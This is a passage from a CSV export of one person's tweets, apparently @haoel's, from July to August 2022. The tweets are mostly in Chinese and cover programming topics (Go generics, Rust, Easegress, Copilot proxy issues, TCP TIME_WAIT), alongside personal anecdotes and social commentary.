https://t.co/r2SEcq49Jb,,https://twitter.com/haoel/status/1560212794175238147\n1559,1560197021155205121,2022-08-18 09:28:51+00:00,13,0,3,,居然还能识别出文字是从上到下从右到左的顺序……这个OCR的API不错……p.s 翻译的API 似就有点见鬼了 https://t.co/u8zSEnfhCl,,https://twitter.com/haoel/status/1560197021155205121\n1560,1560177073221562369,2022-08-18 08:09:35+00:00,6,0,0,,@ChenXiaocang 五笔 + 1.7倍速😂😂,,https://twitter.com/haoel/status/1560177073221562369\n1561,1560172873351712768,2022-08-18 07:52:54+00:00,663,104,22,,用 Easegress 把各种 API 编排出一个telegram的翻译机器人，不需要写一行代码…… https://t.co/2QpN06uXft,,https://twitter.com/haoel/status/1560172873351712768\n1562,1559851335880650753,2022-08-17 10:35:13+00:00,441,37,45,,上周末跟人聚会，相互介绍时，有人说他做过赌场的软件，说赌徒们再精也你玩不过数学……等大家吃的差不多，就开始聊如何财富自由，那位做赌场软件的同学说他现在每天都在买彩票，我说你不是说玩不过数学吗，他说他不会多买……这事告诉我，人再怎么受教育，再怎么懂道理，都难以抗拒自己的侥幸心理……,,https://twitter.com/haoel/status/1559851335880650753\n1563,1559759152884330497,2022-08-17 04:28:55+00:00,39,4,3,,电影名：血战钢锯岭。很不错的电影，推荐！,,https://twitter.com/haoel/status/1559759152884330497\n1564,1559746551915786240,2022-08-17 03:38:51+00:00,1,0,0,,@linuxyz 对啊，好多年了,,https://twitter.com/haoel/status/1559746551915786240\n1565,1559489672010600448,2022-08-16 10:38:06+00:00,131,2,23,,今日北京，朝阳路，中午 &amp; 傍晚 https://t.co/Z6AsZXck6i,,https://twitter.com/haoel/status/1559489672010600448\n1566,1559472149747814400,2022-08-16 09:28:28+00:00,31,3,3,,原因找到了，因为我给VS Code设置了一个翻墙代理，导致Copilot不能工作，真是的，这里还有一个讨论跟这个问题有关：https://t.co/WoVIHIMb3v 另外，如何Debug VS Code的插件，View -&gt; Output里的右上角的下拉列表里选不同的插件就好。但是，如果设置了翻墙代理，Copilot将不会有任何输出……,\"[TextLink(text='github.com/community/comm…', url='https://github.com/community/community/discussions/13113', tcourl='https://t.co/WoVIHIMb3v', indices=(61, 84))]\",https://twitter.com/haoel/status/1559472149747814400\n1567,1559460489570070529,2022-08-16 08:42:08+00:00,27,2,10,,我的 Github Copilot 不工作了，大家是否还好？另外，这玩意怎么debug啊？,,https://twitter.com/haoel/status/1559460489570070529\n1568,1559175199429316608,2022-08-15 13:48:30+00:00,9,0,0,,@crazytidy 对的，还有LinkedIn ，这是最基本的基于数据的决策,,https://twitter.com/haoel/status/1559175199429316608\n1569,1559149430434963457,2022-08-15 12:06:06+00:00,0,0,1,,@AssassinKIRA 现在在哪儿？,,https://twitter.com/haoel/status/1559149430434963457\n1570,1559104982183395329,2022-08-15 09:09:29+00:00,0,0,2,,@shuilovesbooks 低血糖？,,https://twitter.com/haoel/status/1559104982183395329\n1571,1559101902213722112,2022-08-15 08:57:14+00:00,10,0,2,,@AssassinKIRA 汗！,,https://twitter.com/haoel/status/1559101902213722112\n1572,1559078614326333440,2022-08-15 07:24:42+00:00,454,55,13,,中国的教育体制决定了大多数人是不会思考的，更不懂什么是“独立思考”，他们不会做调查，不会做统计，不会通过数据、事实和权威引用为依据，更不会通过多个维度来比较……只会通过在网上找共鸣，找自己喜欢的答案，对自己不喜欢的就嗤之以鼻，只愿看到自己想看的……这算是另一种意义上的“坐井观天”……,,https://twitter.com/haoel/status/1559078614326333440\n1573,1559078612430532608,2022-08-15 07:24:42+00:00,352,45,21,,我是怎么解决年轻人的思想内耗的——之前有个入行不久的程序员问我：“我看网上都在说Java很烦，很多程序员都在吐槽，为什么你还在推荐使用Java？”，我回应说，“当你需要建议的时候，你是会听业内精英人士的话，还是听平庸大众的话？或是通过自己的独立调查，通过统计相关数据和事实来做出自己的判断呢？”,,https://twitter.com/haoel/status/1559078612430532608\n1574,1559072206822391809,2022-08-15 06:59:14+00:00,1813,241,81,,在我20多年职业生涯里，总能听到一代又一代的程序员不断地说：1）程序员只能干到30岁，2）算法无用，设计无用，抽象无用，扩展性无用，自动化无用，3）学了又不用一会就忘了，4）代码写能跑就行…… 以前我还会争论或教育下他们，现在我只会感谢他们，因为这能让我这老家伙不用努力还能领先于他们……,,https://twitter.com/haoel/status/1559072206822391809\n1575,1559053558359633920,2022-08-15 05:45:08+00:00,8,0,0,,@patchoulig3 你应该是又近视，又老花，Double win... 😂,,https://twitter.com/haoel/status/1559053558359633920\n1576,1559048309150724097,2022-08-15 05:24:17+00:00,12,0,2,,@gehouhun 我最多就是把娃抛上天再接住，这个太硬核了……,,https://twitter.com/haoel/status/1559048309150724097\n1577,1559038186164170753,2022-08-15 04:44:03+00:00,79,1,12,,上周，有人递给我一个小广告，我看这个小卡片的时候，突然发现自己开始老花了，眼睛在正常距离对不上焦，感觉是360p的分辨率，还很累，远一点就好了，马上就4K分辨率了……哎，进入老年人时代了……,,https://twitter.com/haoel/status/1559038186164170753\n1578,1558719982799728640,2022-08-14 07:39:38+00:00,115,4,4,,@laixintao 给别人分享收获最大的是自己。,,https://twitter.com/haoel/status/1558719982799728640\n1579,1558698164978216962,2022-08-14 06:12:56+00:00,4,0,0,,@ghosTM55 阔以啊……,,https://twitter.com/haoel/status/1558698164978216962\n1580,1558695702095470592,2022-08-14 06:03:09+00:00,0,0,2,,@kskakakakak4 那么正确答案是？,,https://twitter.com/haoel/status/1558695702095470592\n1581,1558691684640100353,2022-08-14 05:47:11+00:00,9,0,0,,@cnpreviwer 你数学不及格。,,https://twitter.com/haoel/status/1558691684640100353\n1582,1558690210518470656,2022-08-14 05:41:19+00:00,0,0,1,,@ManofPluto 如果你是怎么理解，那我的原文表达就没问题，而且就算我的原文有问题，我引用的新闻也不难理解。不是么……,,https://twitter.com/haoel/status/1558690210518470656\n1583,1558686448164827136,2022-08-14 05:26:22+00:00,0,0,1,,@ManofPluto 我理解是可以同时打中吧……三发同时发出拦截，是有概率都打中，或是两发中，或是一发中,,https://twitter.com/haoel/status/1558686448164827136\n1584,1558684515588984832,2022-08-14 05:18:42+00:00,135,12,46,,看那么多评论，也没人算算正确答案是多少。假设命中率是0.7，不命中是1-0.7=0.3，所以，连续三发不命中的概率是0.3x0.3x0.3=0.027，所以三发命中的概率是1-0.027=0.973，既 97.3％,,https://twitter.com/haoel/status/1558684515588984832\n1585,1558394084938567686,2022-08-13 10:04:38+00:00,47,9,10,,这个确定是个真事吗？我经历过一个服务器旁边有个变压器导致服务器各种诡异的问题，但是声音共振这个事有点超出我的想像了……,,https://twitter.com/haoel/status/1558394084938567686\n1586,1558339018227560450,2022-08-13 06:25:49+00:00,0,0,1,,@vivela_la 下游戏又不是日常操作。,,https://twitter.com/haoel/status/1558339018227560450\n1587,1558337499327434752,2022-08-13 06:19:47+00:00,0,0,1,,@vivela_la 家用什么场景，需要跑满千兆？,,https://twitter.com/haoel/status/1558337499327434752\n1588,1558337094614847489,2022-08-13 06:18:10+00:00,11,1,0,,@laixintao @disksing 说起downsampling，这里有个非常有效的算法，可以呈10倍的下降……https://t.co/1xP5MV2CP7,\"[TextLink(text='github.com/haoel/downsamp…', url='https://github.com/haoel/downsampling-algorithm', tcourl='https://t.co/1xP5MV2CP7', indices=(59, 82))]\",https://twitter.com/haoel/status/1558337094614847489\n1589,1558326982072381440,2022-08-13 05:37:59+00:00,1,0,1,,@Benuoa 这台不是，我还有一台AC68U刷了梅林……,,https://twitter.com/haoel/status/1558326982072381440\n1590,1558321589329874944,2022-08-13 05:16:33+00:00,144,10,20,,我的XBox和PS一直都是通过我自建的透明网关连接到“真·互联网”，才能稍微正常游戏……但是还是有好些各式各样的未知的网络问题，导致游戏中掉线或卡顿……直到今天才想起来我的华硕路由器AX86U有些跟游戏相关的功能我一直没开启……😂😂 https://t.co/ShLy00AUB6,,https://twitter.com/haoel/status/1558321589329874944\n1591,1557380131966005249,2022-08-10 14:55:32+00:00,572,70,53,,Golang已经游走在辱华的边缘…… https://t.co/H7rBPThrN5,,https://twitter.com/haoel/status/1557380131966005249\n1592,1557357179035824129,2022-08-10 13:24:20+00:00,0,0,0,,@faithorg 我其实并没有反问你啊，你仔细看一看啊……分明是在跟你讨论啊……“有多少人会XXX” vs “你知道XXX”，这有本质上的不一样啊……前面是跟你讨论，后面才是质问你……你也太敏感了吧……,,https://twitter.com/haoel/status/1557357179035824129\n1593,1557355832269946883,2022-08-10 13:18:59+00:00,2,0,1,,\"@dadaachen @yuxiyou 有的，这些要算上的话，还有Skype, discord……\",,https://twitter.com/haoel/status/1557355832269946883\n1594,1557295741726441472,2022-08-10 09:20:12+00:00,129,2,24,,@yuxiyou 看我的…… https://t.co/1eB6k3EoDf,,https://twitter.com/haoel/status/1557295741726441472\n1595,1557287266208231425,2022-08-10 08:46:31+00:00,5,0,1,,@cloudwu @disksing 非常同意啊！但是，一方面，业务逻辑的复杂度不是我们能说得算的，另一方面，控制逻辑的复杂度也是随问题规模呈现级数上涨的（尤其是分布式……）,,https://twitter.com/haoel/status/1557287266208231425\n1596,1557283297146785792,2022-08-10 08:30:45+00:00,19,3,2,,@cloudwu @disksing 我个人的理解：软件的复杂度主要是控制逻辑了业务逻辑构成，如何把业务逻辑和控制逻辑拆开，如何不要让各种不同的业务逻辑了控制逻辑纠缠在一起，是能否降低复杂度的重要因素。编程语言上表现力和复杂度，我觉得比起业务逻辑和控制逻辑的复杂度来说算是小的……（纯是我的个人理解）,,https://twitter.com/haoel/status/1557283297146785792\n1597,1557276959222075392,2022-08-10 08:05:34+00:00,0,0,1,,@redraiment 我还真写过——《编程范式游记》，但是是收费的，看的人非常之少……,,https://twitter.com/haoel/status/1557276959222075392\n1598,1557276062391812097,2022-08-10 08:02:00+00:00,0,0,0,,@touringyu 谢谢，已修正,,https://twitter.com/haoel/status/1557276062391812097\n1599,1557274966227181573,2022-08-10 07:57:39+00:00,0,0,1,,@faithorg 实话实说，我真没有激动啊……我是很友好的回答你的问题啊……,,https://twitter.com/haoel/status/1557274966227181573\n1600,1557274283843301376,2022-08-10 07:54:56+00:00,29,3,4,,@cnPhil 其实，Go语言拯救了PHP程序员，君不见有大量的PHP程序员转到Go开发…… [狗头],,https://twitter.com/haoel/status/1557274283843301376\n1601,1557220769729368064,2022-08-10 04:22:17+00:00,3,0,2,,@gtlast114 我其实想说的不是因为喜好问题跳不跳过，而是——人就是喜欢“凑热闹”……,,https://twitter.com/haoel/status/1557220769729368064\n1602,1557209379698401280,2022-08-10 03:37:02+00:00,12,0,3,,@disksing 其实，你仔细想想，对于第一个门槛——学习门槛，不同的语言完全不同，但是对于第二个门槛——设计和维护门槛，所有的语言都是一样的……,,https://twitter.com/haoel/status/1557209379698401280\n1603,1557206417693585408,2022-08-10 03:25:16+00:00,1,0,1,,@gtlast114 为什么不跳过第二个？如果我把第二个的标题改成《为什么我非常看好Rust》呢？也是所有的程序会看吗？还是会跳过呢？,,https://twitter.com/haoel/status/1557206417693585408\n1604,1557203097176313856,2022-08-10 03:12:04+00:00,4,0,2,,@faithorg 可以独立思考下嘛，linux内核长年用C语言写，有多少人认认真真学过C语言了？又有有多少人觉得C语言会成为统治力最强的语言？,,https://twitter.com/haoel/status/1557203097176313856\n1605,1557197451550810112,2022-08-10 02:49:38+00:00,153,21,25,,我之前写过一篇纯技术的文章《Rust的编程范式》https://t.co/RxaK0elYEE，看的人不多，而且这篇长文能跟下来的人也不多。但是，如果我要是写一篇纯观点的文章，例如：《为什么我不看好Rust》，那么一定会有很多人来看……有时候，我就在想，大多数码农其实喜欢观点更胜于技术本身……,\"[TextLink(text='coolshell.cn/articles/20845…', url='https://coolshell.cn/articles/20845.html', tcourl='https://t.co/RxaK0elYEE', indices=(24, 47))]\",https://twitter.com/haoel/status/1557197451550810112\n1606,1557008873588146178,2022-08-09 14:20:17+00:00,0,0,0,,@xiaowuly 下次，2小时的车程，随时可约,,https://twitter.com/haoel/status/1557008873588146178\n1607,1557007845094494210,2022-08-09 14:16:12+00:00,1,0,0,,@xiaowuly 我是备降的……😅,,https://twitter.com/haoel/status/1557007845094494210\n1608,1556914943558950912,2022-08-09 08:07:03+00:00,36,0,0,,2.1.0 发布了，有同学用上了吗？可能一行代码不写，编排多个API，过两天出个教程给大家看看如何通过编排API的方式快速做一个简单实用的小应用……,,https://twitter.com/haoel/status/1556914943558950912\n1609,1556876712356417536,2022-08-09 05:35:08+00:00,33,1,6,,@disksing 这两个语言各有特点，但如果硬要二选一的话，我选Go。门槛是一个非常关键的因素……,,https://twitter.com/haoel/status/1556876712356417536\n1610,1556875887508799488,2022-08-09 05:31:51+00:00,244,43,87,,这是三天前在呼和浩特东站进站时，进站闸机上用身份证进行人脸识别的系统……亮点自找…… https://t.co/L62SzvdUiU,,https://twitter.com/haoel/status/1556875887508799488\n1611,1556874545079799810,2022-08-09 05:26:31+00:00,20,1,2,,@yihong0618 整个早上一直在写Google Doc，就看到Google Doc报了个错，说服务器联系不上，但是马上就好了……,,https://twitter.com/haoel/status/1556874545079799810\n1612,1556570070821679105,2022-08-08 09:16:39+00:00,14,1,2,,又是需要翻墙才能访问……,,https://twitter.com/haoel/status/1556570070821679105\n1613,1556565522728099840,2022-08-08 08:58:34+00:00,16,0,7,,中国移动的APP Nginx 403错误 白屏…… https://t.co/qnRNVlLl6F,,https://twitter.com/haoel/status/1556565522728099840\n1614,1556507701382766593,2022-08-08 05:08:49+00:00,7,0,3,,@shajiabiji 昆明,,https://twitter.com/haoel/status/1556507701382766593\n1615,1556278751020793857,2022-08-07 13:59:03+00:00,20,0,6,,@madawei2699 在群里聊技术和投资靠谱么？,,https://twitter.com/haoel/status/1556278751020793857\n1616,1556221733858078722,2022-08-07 10:12:29+00:00,0,0,1,,@zxbsping @disksing 两男一女,,https://twitter.com/haoel/status/1556221733858078722\n1617,1556219460343570432,2022-08-07 10:03:27+00:00,18,0,1,,@xelnagachan 所谓的独立思想就是可以互相批斗，人身攻击，各种脏话，是么？,,https://twitter.com/haoel/status/1556219460343570432\n1618,1556149170389467139,2022-08-07 05:24:08+00:00,49,3,2,,@nishuang 谢谢推荐！另，我读过最喜欢的书就是don't make me think,,https://twitter.com/haoel/status/1556149170389467139\n1619,1556146305361055745,2022-08-07 05:12:45+00:00,3,0,2,,@whaling__ship @disksing 主要考虑是孩子……,,https://twitter.com/haoel/status/1556146305361055745\n1620,1556142101653385216,2022-08-07 04:56:03+00:00,465,24,76,,\"我最近拉黑了好多所谓的“反贼”，他们的各种人身攻击、互骂、抨击，其实跟文革时写大/小字报批斗没什么分别……\n\n你别看小粉红“愚蠢”，但他们至少还很团结，力往一处使……\n\n而另外一边，都很“聪明”，个个都是诸葛亮，但是他们互相斗起来，跟市井小民也没啥不同……\",,https://twitter.com/haoel/status/1556142101653385216\n1621,1556129473241628672,2022-08-07 04:05:52+00:00,68,2,9,,@disksing 我有三个好朋友都离婚了。都不是过错方（对方出轨），但因为孩子或是别的原因，一直对离婚犹豫不决，而最终，也牺牲了很多（包括财产和孩子）。他们都让我感觉到，其实放弃是需要很大的勇气的……（老兄，祝好了）,,https://twitter.com/haoel/status/1556129473241628672\n1622,1555569188776906752,2022-08-05 14:59:30+00:00,9,0,1,,@laixintao @disksing 这个已经不是“SQL注入”了，应该叫“SQL插入”……😂,,https://twitter.com/haoel/status/1555569188776906752\n1623,1555566549926170624,2022-08-05 14:49:01+00:00,0,0,0,,@TaizeWang @laixintao @disksing 这……,,https://twitter.com/haoel/status/1555566549926170624\n1624,1555561399740293121,2022-08-05 14:28:33+00:00,0,0,1,,@slashui 一颗不肯媚俗的心,,https://twitter.com/haoel/status/1555561399740293121\n1625,1555559111273562112,2022-08-05 14:19:27+00:00,27,2,13,,\"过去的中国火、魔岩三杰、唐朝黑豹已经一去不返了……要不是有张楚《你要好好的》这个摇滚演唱会，我真是一点都找不到共鸣……p.s. 不知道还有没有有人记得张楚的这首 《b,p,m,f 》？https://t.co/2wfyS7XfgT\",\"[TextLink(text='music.youtube.com/watch?v=O4f0XY…', url='https://music.youtube.com/watch?v=O4f0XYTG1ZE', tcourl='https://t.co/2wfyS7XfgT', indices=(92, 115))]\",https://twitter.com/haoel/status/1555559111273562112\n1626,1555385118243446784,2022-08-05 02:48:04+00:00,9,0,0,,@fdream 漏了双精度程序😂,,https://twitter.com/haoel/status/1555385118243446784\n1627,1555382310421159937,2022-08-05 02:36:55+00:00,752,57,58,,\"如何验证对方是人还是程序？\n\n问题：0.1 + 0.2 = ？\n\nA）0.3\nB）0.300000004\",,https://twitter.com/haoel/status/1555382310421159937\n1628,1555355780458483712,2022-08-05 00:51:29+00:00,0,0,1,,@farmer1992 这是什么东西？验证码么？,,https://twitter.com/haoel/status/1555355780458483712\n1629,1555163428045537280,2022-08-04 12:07:09+00:00,50,0,17,,前几天睡前不知为啥想买个冰箱，于是上网查，品牌和型号实在太多，搞得我一会儿就困的不行睡了……睡梦中隐约觉得似乎下了一单，反复挣扎后，强制唤醒自己，一检查，果然下了一单，马上取消订单，安心睡去……第二天醒来，问老婆梦里买冰箱意味着什么？结果发现是真的……永远不要用现实来构建梦境……,,https://twitter.com/haoel/status/1555163428045537280\n1630,1554746281695670273,2022-08-03 08:29:34+00:00,6,0,0,,@franklinzhang85 昆明,,https://twitter.com/haoel/status/1554746281695670273\n1631,1554745970071461888,2022-08-03 08:28:19+00:00,196,3,28,,第一次在宜家吃到这样的双色冰淇淋…… https://t.co/CCqX5DDqi7,,https://twitter.com/haoel/status/1554745970071461888\n1632,1554734094784684032,2022-08-03 07:41:08+00:00,4,0,0,,@ximigen 还是2TB更好。,,https://twitter.com/haoel/status/1554734094784684032\n1633,1554477470094880773,2022-08-02 14:41:24+00:00,21,2,2,,@xicilion 翻墙可以，直连不行……活久见,,https://twitter.com/haoel/status/1554477470094880773\n1634,1554476046640365570,2022-08-02 14:35:44+00:00,227,18,27,,靠！第一次上微博需要翻墙！,,https://twitter.com/haoel/status/1554476046640365570\n1635,1554475450558455808,2022-08-02 14:33:22+00:00,94,1,52,,微博挂了么？,,https://twitter.com/haoel/status/1554475450558455808\n1636,1554075551748730880,2022-08-01 12:04:19+00:00,0,0,1,,@disksing 那我不能理解你的观点了，按道理你应该是喜欢通用抽象代码才对……,,https://twitter.com/haoel/status/1554075551748730880\n1637,1554071385492066304,2022-08-01 11:47:46+00:00,0,0,1,,@disksing 对了，你是做什么业务的？,,https://twitter.com/haoel/status/1554071385492066304\n1638,1554043180982554624,2022-08-01 09:55:41+00:00,12,1,6,,@disksing 意思是有需求来的时候，再重构？,,https://twitter.com/haoel/status/1554043180982554624\n1639,1553608858139996160,2022-07-31 05:09:51+00:00,40,11,11,,“往火里倒油”这种“想当然”习惯，估计是平时做饭形成的潜意识……,,https://twitter.com/haoel/status/1553608858139996160\n1640,1553593461424721920,2022-07-31 04:08:40+00:00,2,0,1,,@ghosTM55 360k/720k/1.44M,,https://twitter.com/haoel/status/1553593461424721920\n1641,1553572365392482304,2022-07-31 02:44:50+00:00,0,0,1,,@chunyang_007 你没发现这是别人送我的贺卡么？,,https://twitter.com/haoel/status/1553572365392482304\n1642,1553569586456301570,2022-07-31 02:33:47+00:00,54,5,1,,@hongzeqin https://t.co/9Ckf4eaCdN,\"[TextLink(text='twitter.com/haoel/status/4…', url='https://twitter.com/haoel/status/456461873739624448', tcourl='https://t.co/9Ckf4eaCdN', indices=(11, 34))]\",https://twitter.com/haoel/status/1553569586456301570\n1643,1553300194006945792,2022-07-30 08:43:19+00:00,3,0,1,,@xiaopeng163 感觉像昆明海埂大坝……,,https://twitter.com/haoel/status/1553300194006945792\n1644,1553297646491643905,2022-07-30 08:33:12+00:00,0,0,2,,@chunyang_007 你怎么看出来的？,,https://twitter.com/haoel/status/1553297646491643905\n1645,1553280278415650816,2022-07-30 07:24:11+00:00,86,4,11,,以前的新年祝福都是信件+贺卡+手写祝福语的形式，留下了满满的的回忆……不知道现在的年轻人是否还能有这样的体验…… https://t.co/VoUeMJYhS5,,https://twitter.com/haoel/status/1553280278415650816\n1646,1553201074772660224,2022-07-30 02:09:27+00:00,0,0,0,,@baigao72131260 这个电话本身就是公开出来的，只要路过的人（不管好人坏人）都是看的见的。,,https://twitter.com/haoel/status/1553201074772660224\n1647,1552685936818810880,2022-07-28 16:02:29+00:00,283,8,36,,从小长大的地方，三四十年了，依然没什么变化……依然能让我儿时的记忆历历在目…… https://t.co/87m3OSvjyy,,https://twitter.com/haoel/status/1552685936818810880\n1648,1551824527838941184,2022-07-26 06:59:33+00:00,10,0,5,,@wanshichuang 我是云南的，云南昆明的……,,https://twitter.com/haoel/status/1551824527838941184\n1649,1551806523298287616,2022-07-26 05:48:00+00:00,0,0,0,,@MHC21839026 是！,,https://twitter.com/haoel/status/1551806523298287616\n1650,1551778041495334912,2022-07-26 03:54:50+00:00,0,0,0,,@ctengctsh 但是实际情况呢？,,https://twitter.com/haoel/status/1551778041495334912\n1651,1551772329495015425,2022-07-26 03:32:08+00:00,56,1,27,,我大昆明（蛮都）的核酸检测点，气候宜人，只有捅人的才穿生化服，直接扫健康码就好了，不用像帝都那样出示身份证，少一个身份证信息外泄的环节…… https://t.co/ud20nI0qXd,,https://twitter.com/haoel/status/1551772329495015425\n1652,1551725752256643074,2022-07-26 00:27:03+00:00,30,0,2,,@laixintao ansible是命令式的，不是声明式的。声明式的不是描述动作，而是描述目标。一般来说，声明式的会用配置中心管理文件，如：spring git，k8s conigmap等。然后通过配置拉取的方式……,,https://twitter.com/haoel/status/1551725752256643074\n1653,1551116825299062784,2022-07-24 08:07:24+00:00,15,2,4,,感觉还好…… https://t.co/3Aj3iV4ptH,,https://twitter.com/haoel/status/1551116825299062784\n1654,1551065788727013376,2022-07-24 04:44:36+00:00,346,38,27,,你磕完药你就来看我的blog了（0:50）……😂😂😂,,https://twitter.com/haoel/status/1551065788727013376\n1655,1550835807203692545,2022-07-23 13:30:44+00:00,2,0,0,,@T7IYZBpO2fnnAwM 我说的就是深圳😂😂,,https://twitter.com/haoel/status/1550835807203692545\n1656,1550835531155591169,2022-07-23 13:29:38+00:00,0,0,1,,@rxliuli 深圳,,https://twitter.com/haoel/status/1550835531155591169\n1657,1550831803161722881,2022-07-23 13:14:49+00:00,63,5,36,,都这么晚了，还有这么多人在做核酸…… https://t.co/rVFDYXmZDD,,https://twitter.com/haoel/status/1550831803161722881\n1658,1550348308341596160,2022-07-22 05:13:35+00:00,14,1,2,,@tinyfool 我早就跟你讲了……,,https://twitter.com/haoel/status/1550348308341596160\n1659,1550297048716439552,2022-07-22 01:49:54+00:00,0,0,0,,@DoctorHu_ 我也没说他是，也没说要改变，我只是描述了一下。编程中都是多种技术混用，代码要写优雅就是要用到多种技术。这里的目的是要写好代码，是DRY，是不是纯泛型并不重要。所以，不必较真！,,https://twitter.com/haoel/status/1550297048716439552\n1660,1550270479209902080,2022-07-22 00:04:19+00:00,0,0,1,,@DoctorHu_ C++的模板特化利用了重载函数这一特性,,https://twitter.com/haoel/status/1550270479209902080\n1661,1549968656309727234,2022-07-21 04:04:59+00:00,24,1,1,,这个是我目前最喜欢的版本……虽然用上了接口多态，也在类型上包了一层，但是我觉得挺好的……现在想想，这里必然会有一个类型分枝，要么switch-case，要么多态，要么像我的方案二那样函数传参，应该没别的什么方法了。当然，如果有C++的重载函数，用多个同名不同类开型函数包一层，那就比较干净了……,,https://twitter.com/haoel/status/1549968656309727234\n1662,1549960293312188416,2022-07-21 03:31:45+00:00,13,0,2,,@spacewanderlzx 哈哈，这个“容器”到处都有，数据结构的容器，C++ STL 容器，Java 的Web容器，Docker容器……,,https://twitter.com/haoel/status/1549960293312188416\n1663,1549919316505534466,2022-07-21 00:48:55+00:00,3,0,0,,@beornf @Popbones I quite like this version. cool!,,https://twitter.com/haoel/status/1549919316505534466\n1664,1549772282410590208,2022-07-20 15:04:40+00:00,0,0,1,,@Popbones 这个有点像C++ 一些泛型算法需要传一个functor，或是像排序算法需要传一个cmp函数一样，可读性我觉得还好吧，就是getNumber的函数接口被污染了……,,https://twitter.com/haoel/status/1549772282410590208\n1665,1549765331794546688,2022-07-20 14:37:03+00:00,0,0,0,,@Popbones 你这个方案也不错啊！只要在主逻辑里没有具体的类型检测。挺好的，你帮我看看我的第二个方案。,,https://twitter.com/haoel/status/1549765331794546688\n1666,1549756097984049152,2022-07-20 14:00:21+00:00,168,33,45,,哈哈，笑死我了，NB！（p.s. 对了，如果要改代码，怎么搞这种多光标编辑？……),,https://twitter.com/haoel/status/1549756097984049152\n1667,1549755436479352833,2022-07-20 13:57:43+00:00,2,0,0,,@disksing 挺好的文章！,,https://twitter.com/haoel/status/1549755436479352833\n1668,1549753732522332160,2022-07-20 13:50:57+00:00,9,1,1,,@cloudwu @Ho2294 这点我跟云风一样，元编程很好，但C++的方式太复杂了……,,https://twitter.com/haoel/status/1549753732522332160\n1669,1549753187699085312,2022-07-20 13:48:47+00:00,1,0,0,,\"@disksing 如果是C++，这事就很容易搞了，再声明两个重载函数就完了，getNumber(string, int) int 和 getNumber(string, float) float ，里面就直接指定特定的fn就好了……Go不支持重载函数……\",,https://twitter.com/haoel/status/1549753187699085312\n1670,1549747968479072256,2022-07-20 13:28:03+00:00,0,0,1,,@disksing 这个fn函数是跟前面的类型匹配的，如果能自动推导出这个fn就很好了，我再想想有没有更好的。另外，调用那个处理默认值的公共函数也得要泛型啊，不然咱搞？,,https://twitter.com/haoel/status/1549747968479072256\n1671,1549746106388467712,2022-07-20 13:20:39+00:00,7,0,3,,@cloudwu 主要不是解决重用的问题，是解决类型不一样，同样的代码要写好几份的问题……几乎所有的静态类型都要这个特性，不然咋搞啊……C的void* ，Java的Object，Go的interface{} ……？,,https://twitter.com/haoel/status/1549746106388467712\n1672,1549745200309841920,2022-07-20 13:17:03+00:00,0,0,0,,@realyuchanns go不支持特化啊……,,https://twitter.com/haoel/status/1549745200309841920\n1673,1549743566502563840,2022-07-20 13:10:33+00:00,8,2,4,,这样会不会好一点呢？ https://t.co/bXtkK0O06V,,https://twitter.com/haoel/status/1549743566502563840\n1674,1549740862329868288,2022-07-20 12:59:49+00:00,0,0,0,,@disksing @realyuchanns s/完全都/完成度/,,https://twitter.com/haoel/status/1549740862329868288\n1675,1549738915296227328,2022-07-20 12:52:04+00:00,3,0,1,,@disksing @realyuchanns 而且你的完全都比他的好！👍🏻👍🏻,,https://twitter.com/haoel/status/1549738915296227328\n1676,1549737712416002048,2022-07-20 12:47:18+00:00,1,0,2,,@disksing 也不能说不泛型，就是说还不够好。嗯，这个方法我之前也想到的，但是就是觉得还不如分成两个函数写，这样还不会出错。不然，别的不在switch里的类型就不行了……,,https://twitter.com/haoel/status/1549737712416002048\n1677,1549734367248781313,2022-07-20 12:34:00+00:00,2,0,2,,@disksing switch case不叫泛型了……😂😂,,https://twitter.com/haoel/status/1549734367248781313\n1678,1549721534876397568,2022-07-20 11:43:01+00:00,82,7,9,,\"对了，说起泛型编程，我这里有一个示例（如下图：代码在这里：https://t.co/UYpq4AHQj8 ），字符串转int,float,long(unsigned/singed)... 对于C来说，你有一堆stoi，stol，stoll，stoul，stoull，stof，stod，stold的函数，但是C++17 搞了个 std::from_chars ，哪位同学帮我看看用Golang的泛型怎么搞？ https://t.co/26Lb61HaB5\",\"[TextLink(text='github.com/megaease/easep…', url='https://github.com/megaease/easeprobe/blob/00d5519f058404c1275e8d1a4b9d5eb67f344ec3/web/server.go#L64', tcourl='https://t.co/UYpq4AHQj8', indices=(29, 52))]\",https://twitter.com/haoel/status/1549721534876397568\n1679,1549716684566450181,2022-07-20 11:23:44+00:00,70,7,8,,C++被 Java/C#/Rust/Go 替换，现在又多了一个Carbon……C++真是抛砖引玉啊，但是在泛形编程这个技术上，至今未逢任何对手……,,https://twitter.com/haoel/status/1549716684566450181\n1680,1549709772022108160,2022-07-20 10:56:16+00:00,60,0,1,,@syhily 那说明还可以优化，有一些都不出这样的书，说明是没法优化……233 🤪🤪🤪,,https://twitter.com/haoel/status/1549709772022108160\n1681,1549651323531931648,2022-07-20 07:04:01+00:00,1,0,1,,\"@thorstenball That's a good name. In Chinese, the Monkey &amp; Dragon have very good compatibility for love. I don't see any wrong with your Monkey book and the Dragon book...😀\",,https://twitter.com/haoel/status/1549651323531931648\n1682,1549638080008581120,2022-07-20 06:11:23+00:00,1,0,0,,@airycanon 我顺完了这句了,,https://twitter.com/haoel/status/1549638080008581120\n1683,1549635627510947841,2022-07-20 06:01:39+00:00,0,0,1,,@farmer1992 这么贵，生什么病了？,,https://twitter.com/haoel/status/1549635627510947841\n1684,1549628125268439040,2022-07-20 05:31:50+00:00,0,0,1,,@airycanon 对，因为我不断地在修改表达方式。所以有的有的改乱了。一会再把这句给调整一下,,https://twitter.com/haoel/status/1549628125268439040\n1685,1549600703097688064,2022-07-20 03:42:52+00:00,273,25,11,,二十年前上大学的时候用C语言写过PL/0的词法分析器和编译器，然后就再也没有机会用过了，最近想制作一个DSL，发现了 @thorstenball 的这两本书，买来学习一下…… https://t.co/drW0ur2o3W,,https://twitter.com/haoel/status/1549600703097688064\n1686,1549288438423117824,2022-07-19 07:02:02+00:00,2,0,2,,@sz_liuw 又胖，又老，又油腻……,,https://twitter.com/haoel/status/1549288438423117824\n1687,1549287899928993793,2022-07-19 06:59:54+00:00,148,20,6,,TCP TIME_WAIT的那些事，刚刚出炉，估计错别字病句会比较多。还请见谅！ https://t.co/18T9hsQ0wc,\"[TextLink(text='coolshell.cn/articles/22263…', url='https://coolshell.cn/articles/22263.html', tcourl='https://t.co/18T9hsQ0wc', indices=(41, 64))]\",https://twitter.com/haoel/status/1549287899928993793\n1688,1549242558714236929,2022-07-19 